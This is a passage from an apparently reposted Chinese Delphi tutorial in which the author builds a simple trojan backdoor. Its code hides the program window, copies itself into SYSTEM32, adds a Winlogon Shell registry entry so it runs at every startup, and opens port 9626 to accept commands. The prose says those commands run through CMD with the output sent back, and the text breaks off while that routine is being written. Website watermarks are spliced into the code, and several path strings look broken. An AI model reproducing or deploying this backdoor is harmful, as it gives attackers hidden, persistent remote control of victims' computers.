Delphi下“培养”自己的简单木马

　　刚学电脑时很喜欢网络安全，看着高手们写的一个又一个攻击工具，自己也总想努力去学好编程去写属于自己的程序。学DELPHI快一年了，感觉什么都没学到，惭愧啊。今晚突然想学着写木马，于是手忙脚乱的敲了点代码，超简单，愿自己能越写越好！！！

　　程序跟传统木马一样，分服务端和客户端。运行服务端后会复制自身到SYSTEM32目录下面，并在注册表添加一自动行启动项，打开本机9626端口开始等待接收客户端的数据。当接收到客户端数据时就当作CMD命令去执行，最后把回显传送回客户端。客户端很简单，跟服务端连接成功后，输入命令点执行，正常的话可以收到服务端的执行结果了。

　　源码如下：

////Server.pas//////////////

unit UtMain;

////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
///部分代码从网上收集///////////
////////////////////////////////

interface 软件开发网 www.mscto.com

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, ScktComp, StdCtrls;

type
TFmMain = class(TForm)
SS: TServerSocket;
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket);
procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;

var
FmMain: TFmMain;
reg:TRegistry;

软件开发网 www.mscto.com

implementation

{$R *.dfm}

procedure TFmMain.FormCreate(Sender: TObject);
var
sysdir:array[0..50] of char;
begin
Application.ShowMainForm:=False;
FmMain.Left:=-200; //运行不显示窗口
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey("SoftWareMicrosoftWindows NTCurrentVersionWinlogon",true);
if reg.ReadString("Shell")<> "Explorer.exe Lysvr.exe" then
reg.WriteString("Shell","Explorer.exe Lysvr.exe"); //建立开机启动项
reg.Free;
GetSystemDirectory(sysdir,50);
if not FileExists(sysdir "Lysvr.exe") then
copyfile(Pchar(Application.exeName),pchar(sysdir "Lysvr.exe"),true);

SS.Port:=9626;
try
SS.Active:=True;
except
end;
end;

procedure TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket);
begin
Socket.SendText("连接成功"); //发现有连接时回传‘连接成功 ’
end;

procedure TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
RemoteCmd:string;
hReadPipe,hWritePipe:THandle;
si:STARTUPINFO;
lsa:SECURITY_ATTRIBUTES;
pi:PROCESS_INFORMATION;
cchReadBuffer:DWORD;
ph:PChar;
fname:PChar;
res:string;
begin
Memo1.Clear;
remotecmd:=Socket.ReceiveText;
fname:=allocmem(255);
ph:=AllocMem(5000);
lsa.nLength :=sizeof(SECURITY_ATTRIBUTES);
lsa.lpSecurityDescriptor :=nil;
lsa.bInheritHandle :=True;